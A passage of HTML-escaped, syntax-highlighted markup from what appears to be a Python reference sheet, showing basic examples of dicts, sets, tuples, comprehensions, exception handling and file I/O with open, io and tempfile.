&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;xs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# dict — key&#x2F;value&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;user&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;pablo&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;id&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;id&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;; d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;missing&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;default&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;          # .get avoids KeyError&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;keys&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span&gt;; d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;values&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span&gt;; d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;items&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; k&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;items&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;k&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# set — unique, unordered (fast membership + dedup)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;            # -&amp;gt; {1, 2, 3}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                     # membership test (fast)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;             # dedup a list&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; b;  a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span&gt; b;  a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;      # intersection &#x2F; union &#x2F; difference&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# tuple — immutable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;point&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;comprehensions&quot;&gt;Comprehensions&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                 # -&amp;gt; [0, 1, 4, 9, 16]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; xs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; if&lt;&#x2F;span&gt;&lt;span&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;             # with a filter&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;k&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; k&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;items&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # dict comprehension&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;hello&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                      # set comprehension -&amp;gt; {&amp;#39;h&amp;#39;,&amp;#39;e&amp;#39;,&amp;#39;l&amp;#39;,&amp;#39;o&amp;#39;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;error-handling-try-except&quot;&gt;Error handling: try &#x2F; except&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;try&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    risky&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;except&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; ValueError&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;bad value: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;except&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;KeyError&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; IndexError&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    ...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                                   # catch several types&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;except&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; Exception&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;unexpected: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;ran with no error&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;finally&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;always runs (cleanup)&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;files-with-open-io-tempfile-shutil-zipfile&quot;&gt;Files: with open, io, tempfile, shutil, zipfile&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# read &#x2F; write with a context manager (auto-closes the file)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;with&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; open&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;file.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                       # whole file&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;    # for line in f: ...                  # line by line (memory-friendly)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;with&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; open&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;out.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;w&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;hello&lt;&#x2F;span&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# io — in-memory file-like objects (no disk needed)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; io&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;StringIO&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span&gt;; buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;x&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span&gt;; buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;getvalue&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;BytesIO&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt;\x00\x01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# tempfile — safe temporary files&#x2F;dirs&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; tempfile&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;with&lt;&#x2F;span&gt;&lt;span&gt; tempfile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;NamedTemporaryFile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;delete&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; tmp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
